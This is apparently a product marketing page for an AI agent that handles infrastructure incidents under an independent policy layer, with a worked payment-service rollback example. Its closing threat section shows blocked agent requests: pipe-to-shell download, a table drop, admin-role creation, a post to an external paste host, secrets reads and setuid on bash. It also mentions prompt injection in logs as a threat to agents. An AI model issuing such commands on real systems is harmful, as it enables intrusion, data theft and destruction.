Agentic SRE is an AI-based operator for managing and maintaining infrastructure. It investigates incidents, manages releases, rolls changes back when needed and watches the health of your systems around the clock. Every action passes through an independent policy layer before it runs, a layer that sits outside the model’s reach. This lets the agent carry out real operations without ever holding control of access rights or infrastructure credentials.
p95
280 ms
p95 latency above threshold
Likely cause found
Release 4.12 shrank the database pool from 50 to 10.
Roll back to 4.11?
Reversible · success = p95 under 300 ms
02:14
ON CALL
Infrastructure operations do not stop at office hours.
Production does not wait for business hours to begin. Alerts can fire in the middle of the night, weekend releases can cause disruption, and the on-call engineer often spends much of the first hour just working out what changed.
Agentic SRE takes over the initial investigation and much of the response process. It analyses logs and metrics, finds the link between the disruption and recent changes, proposes a fix and, when the defined policies allow it, applies it.
After the change it also checks the system to make sure the service has returned to a stable state. For more sensitive cases it prepares the evidence and recommendations and hands the decision to the responsible person.
Giving an AI agent operational access and a set of instructions does not, on its own, create a security model you can rely on. A model may misread instructions, ignore them or be influenced by malicious data.
Agentic SRE separates analysis and execution from access control. The agent reviews the evidence, builds an operational plan and makes proposals; but an independent layer, outside the model’s reach, determines which files can be read, which systems can be accessed, which commands can run and which changes need human approval.
The agent can submit a request for more access, but it cannot grant access to itself.
The result is controlled automation that handles routine, reversible actions quickly and requires human approval for sensitive or high-risk operations.
Matched rule
Read-only tool: always allowed
Requests from the agent
Select a request to see how the policy layer decides.
Access, network connections and credentials are controlled by an independent layer that the agent cannot change.
Routine actions run within defined, reversible limits; sensitive or irreversible changes require human approval.
Observations, decisions and changes are recorded in logs that the agent cannot tamper with.
The security of Agentic SRE does not depend on a single control. Every change must pass through five independent layers, and it is monitored after it runs as well.
LAYER 01
Reasoning
Model
Production
The agent investigates incidents, reads monitoring data, analyses the changes involved and proposes a fix. These proposals usually arrive as a pull request with an explanation and its reasoning. The agent helps by gathering and matching evidence quickly, but it is not trusted to decide whether its own actions are allowed.
The agent runs in an isolated environment where its access to files, system calls and the network is restricted. Network policy follows a deny-by-default rule, and credentials are issued separately for each action. Its tools are split into a read-only set for investigation and a write set on an explicit allowlist. This means the agent has no direct access to reusable production secrets.
Before any change ships, a set of technical and security checks runs against it. These include tests, vulnerability and secret scanning, infrastructure policies and approval rules. Each tool call is also checked before it runs: allowed paths, commands and targets, and safe ranges for values such as a connection pool size. These controls run deterministically; changing a prompt cannot get past them.
Approved changes go through the organisation’s existing delivery pipeline; no separate path or back door is used to apply them. Cluster admission policies act as a final control and reject changes that conflict with mandatory requirements.
After every change the agent checks service health, error rates and security signals. If the outcome does not match what was expected, the change is rolled back according to the defined policy and the new information is added to the incident record.
One map of the whole path. The agent reasons in its own operations space and reads through read-only tools. Before any change touches production, it has to cross a policy layer the agent cannot reach. Switch between the two phases to follow each path, and select any part to see what it does.
Read-only path: from alert to root cause and plan.
The agent reads the incident, plans an investigation, calls tools, correlates what it finds and writes a root cause and a remediation plan. It reasons and proposes; it never holds production credentials.
Simplified reference architecture. Connections and placement are configured per environment, on your own infrastructure.
As soon as an alert arrives, the agent starts investigating, before the technical team enters the response process. It gathers the relevant data, matches it against recent infrastructure changes and prepares a report of its findings. This way the team begins with evidence and an initial analysis instead of an empty dashboard.
Monitoring data is compared with published releases and configuration changes to establish their likely link to the incident.
Limited, reversible rollbacks can run automatically; more sensitive actions wait for approval.
The incident timeline, the evidence gathered and the decisions made are recorded for post-incident review and analysis.
Example investigation
Alert
The payment service in production is seeing an 18% error rate, against an allowed threshold of 2%. This has lasted 6 minutes, and p95 latency has risen from 210 ms to 2.4 s. Incident start time: 02:14
Investigation and root cause
Release 4.12 of the payment service went out at 02:09, five minutes before the errors began. In this release the database connection pool size was reduced from 50 to 10 per instance.
Evidence reviewed:
Plan:
Status: investigation used read-only access. No change runs until policy allows it.
This example shows how an incident is analysed. Whether a release or rollback runs in production depends on the automation policy set by the organisation.
The same payment-service incident, followed from the first alert to the postmortem. The investigation runs on read-only tools. Nothing changes in production until policy allows it and, where required, an engineer approves.
Step 12 / 12
02:25:00A postmortem draft is written from the recorded timeline and attached to the incident, ready for the team to review.
Postmortem draft · payment service
Summary: release 4.12 cut the database connection pool from 50 to 10 per instance, and connections ran out under normal load. Rolled back to 4.11 after approval; recovered at 02:24.
Root cause: a configuration change that no test or review flagged.
Action items
Illustrative timeline. Which steps run automatically depends on the policy your organisation sets.
Not every infrastructure operation needs the same level of trust. Agentic SRE starts from a conservative policy and distinguishes routine, reversible actions from sensitive, high-risk changes. You decide under what conditions each action runs automatically, which actions need approval and which operations are never handed to the agent.
Routine, reversible actions run within limits; sensitive changes need approval.
Automatic
4Automatic, if bounded and reversible
2Needs policy review and approval
4Never automatic
2
# stage: defaultactions: logs.read: auto release.investigate: auto pr.open: auto checks.run: auto service.restart: auto # bounded service.scale: auto # bounded deploy.production: approval # on-call iam.change: approval # on-call firewall.change: approval # on-call resource.publish: approval # on-call data.delete: deny # locked security.disable: deny # lockedOnce an action has repeatedly proven safe, its automation conditions can be reviewed under stricter limits. Even then, the agent may never change its own access rights, disable the protective layer or issue itself production credentials.
The product’s capabilities may grow in the future, but its security principles stay fixed. They define how part of infrastructure operations can be handed to an AI agent without control of production leaving the organisation.
Leaving the protection of access rights to the same agent that is supposed to be supervised creates a security weakness. In Agentic SRE, access is managed in an independent layer whose policies the agent can be aware of but cannot change.
The agent can propose a new release, but it cannot cause a change to be accepted if it violates one of the mandatory rules.
This separation also protects against threats such as prompt injection in logs, poisoned tool responses and attempts at privilege escalation.
Routine, reversible actions can run automatically within the defined policies. Sensitive, high-risk or irreversible changes, by contrast, need human review and approval.
Observations, analyses, decisions, approvals and changes are recorded in audit logs. This information makes it possible to review the agent’s behaviour and to reconstruct exactly how each incident unfolded.
Agentic SRE provides a set of capabilities for investigating incidents, managing releases, automating day-to-day operations and monitoring the security posture of your infrastructure, following the same policies your technical team has defined.
The agent receives alerts, reviews logs, metrics and traces, and identifies the likely link between a disruption and recent releases or configuration changes.
Releases run through the organisation’s existing delivery pipeline while the agent monitors their progress. If a disruption appears after a release, a rollback is possible according to the defined policies.
Repetitive, low-risk actions that normally need manual intervention can be automated within the authority you set.
Permanent fixes arrive as pull requests and reach the technical team with explanations, tests and a risk assessment.
By mapping services, identities, policies and the connections between them, the agent reviews the security posture of your infrastructure and identifies possible routes to unauthorised access.
Infrastructure environments are compared with the organisation’s defined policies on a regular basis. Vulnerability findings can also become a plan for reviewing and applying patches.
Clusters and plain servers are managed from one control surface, and separate policies can be defined for each team, application and environment.
Every agent action is recorded with its reasoning and the related approvals. Incident reports are also built from the recorded timeline and information.
Agentic SRE is a flowbit product developed in-house. flowbit designed and built the intelligent agent, the policy layer and the audit logging system; the choice of AI engine is yours.
There are three deployment modes: local (running open models on your own infrastructure), cloud (connecting to cloud model providers) and hybrid (choosing the deployment type separately for each environment). In all three, the policy layer works independently of the model, so changing the model has no effect on the agent’s access or authority.
Run the agent on your own hardware and infrastructure with open models. Monitoring data, code and credential information stay inside your internal network.
To use the reasoning power of cloud models, connect the provider you prefer. All requests still pass through the policy gates and stay under control.
You can choose a separate deployment type for each environment; for example, one environment with a local model and another with a cloud model. Policies apply identically in both cases.
Local engines
Run open models on your own dedicated machines
Access to open models and the Hugging Face ecosystem
Cloud providers
Claude models
GPT models
Gemini models
Grok models
DeepSeek models
Kimi models
Support for further providers is also possible.
One agent, with a choice of engines. Change the AI model whenever you like, without changing your policies or access levels.
Agentic SRE is compatible with common server operating systems, including those available in the virtual machine images of the major cloud providers. Manage your mixed infrastructure from a single point, whether it runs on cloud services or in your own data centre.
LTS server releases
Stable releases
Enterprise Linux distribution
AWS server operating system
Enterprise server operating system
Distribution compatible with the enterprise Linux ecosystem
Usable on Oracle Cloud and on-premise infrastructure
Cloud and on-premise Windows environments
This list gives examples of supported operating systems. To ask about compatibility with other operating systems, contact our team.
Agentic SRE runs routine infrastructure monitoring and checks continuously, so your technical team can spend more time on complex problems and on decisions that need human expertise and judgement.
A day of operations
15:30Error rates, latency and resource usage are compared with each service’s baseline values and expected state.
Control of schedules and limits: the organisation can set schedules and execution limits for each environment. None of these settings can widen the agent’s own authority.
Agentic SRE is designed to connect to your organisation’s existing infrastructure and tools. How it connects and is configured depends on the architecture and needs of each environment.
Release management, scaling, rollbacks and cluster admission policies.
Managing services, reviewing logs and monitoring the health of virtual machines and plain servers.
Connecting to your current build, test and release processes.
Delivering fixes as pull requests for the development team to review and approve.
Release management, scaling, rollbacks and cluster admission policies.
Managing services, reviewing logs and monitoring the health of virtual machines and plain servers.
Connecting to your current build, test and release processes.
Delivering fixes as pull requests for the development team to review and approve.
Release management, scaling, rollbacks and cluster admission policies.
Managing services, reviewing logs and monitoring the health of virtual machines and plain servers.
Connecting to your current build, test and release processes.
Delivering fixes as pull requests for the development team to review and approve.
Release management, scaling, rollbacks and cluster admission policies.
Managing services, reviewing logs and monitoring the health of virtual machines and plain servers.
Connecting to your current build, test and release processes.
Delivering fixes as pull requests for the development team to review and approve.
Using metrics, logs and traces as the evidence behind decisions and incident investigation, read over a private connection with read-only access.
Receiving signed alerts from any tool that can send a webhook, sending status updates and providing incident summaries.
Deploying to and connecting with public cloud, private cloud or your organisation’s own data centre.
An incident thread in team chat with findings, the proposed plan and approval requests, plus reports through your ticketing tools.
Using metrics, logs and traces as the evidence behind decisions and incident investigation, read over a private connection with read-only access.
Receiving signed alerts from any tool that can send a webhook, sending status updates and providing incident summaries.
Deploying to and connecting with public cloud, private cloud or your organisation’s own data centre.
An incident thread in team chat with findings, the proposed plan and approval requests, plus reports through your ticketing tools.
Using metrics, logs and traces as the evidence behind decisions and incident investigation, read over a private connection with read-only access.
Receiving signed alerts from any tool that can send a webhook, sending status updates and providing incident summaries.
Deploying to and connecting with public cloud, private cloud or your organisation’s own data centre.
An incident thread in team chat with findings, the proposed plan and approval requests, plus reports through your ticketing tools.
Using metrics, logs and traces as the evidence behind decisions and incident investigation, read over a private connection with read-only access.
Receiving signed alerts from any tool that can send a webhook, sending status updates and providing incident summaries.
Deploying to and connecting with public cloud, private cloud or your organisation’s own data centre.
An incident thread in team chat with findings, the proposed plan and approval requests, plus reports through your ticketing tools.
An agent with access to operational infrastructure can be exposed to threats that are rarely seen in ordinary software systems. With these risks in mind, the security architecture of Agentic SRE controls the agent’s access and actions through an independent layer.
Agent request
agent → exec("curl -s x.sh | sh")Blocked before execution · logged
Instructions hidden in logs, tickets or web pages cannot change the agent’s access level or authority.
Agent request
agent → db.drop(table="payments")Blocked before execution · logged
Every tool call is checked against security policy before it runs, not after.
Agent request
agent → iam.create_role("admin")Blocked before execution · logged
The agent cannot create new roles, credentials or production access for itself.
Agent request
agent → http.post("paste.example.net")Blocked before execution · logged
Network access to external destinations is blocked by default, and only approved destinations can be reached.
Agent request
agent → secrets.read("prod/*")Blocked before execution · logged
Credentials are issued separately for each action and are never kept anywhere the agent could read them.
Agent request
agent → sh -c "chmod +s /bin/bash"Blocked before execution · logged
Commands run in an isolated environment where access to files and system calls is restricted.
flowbit runs on independently audited security, privacy and cloud controls — so your apps and data meet the standards your customers expect.
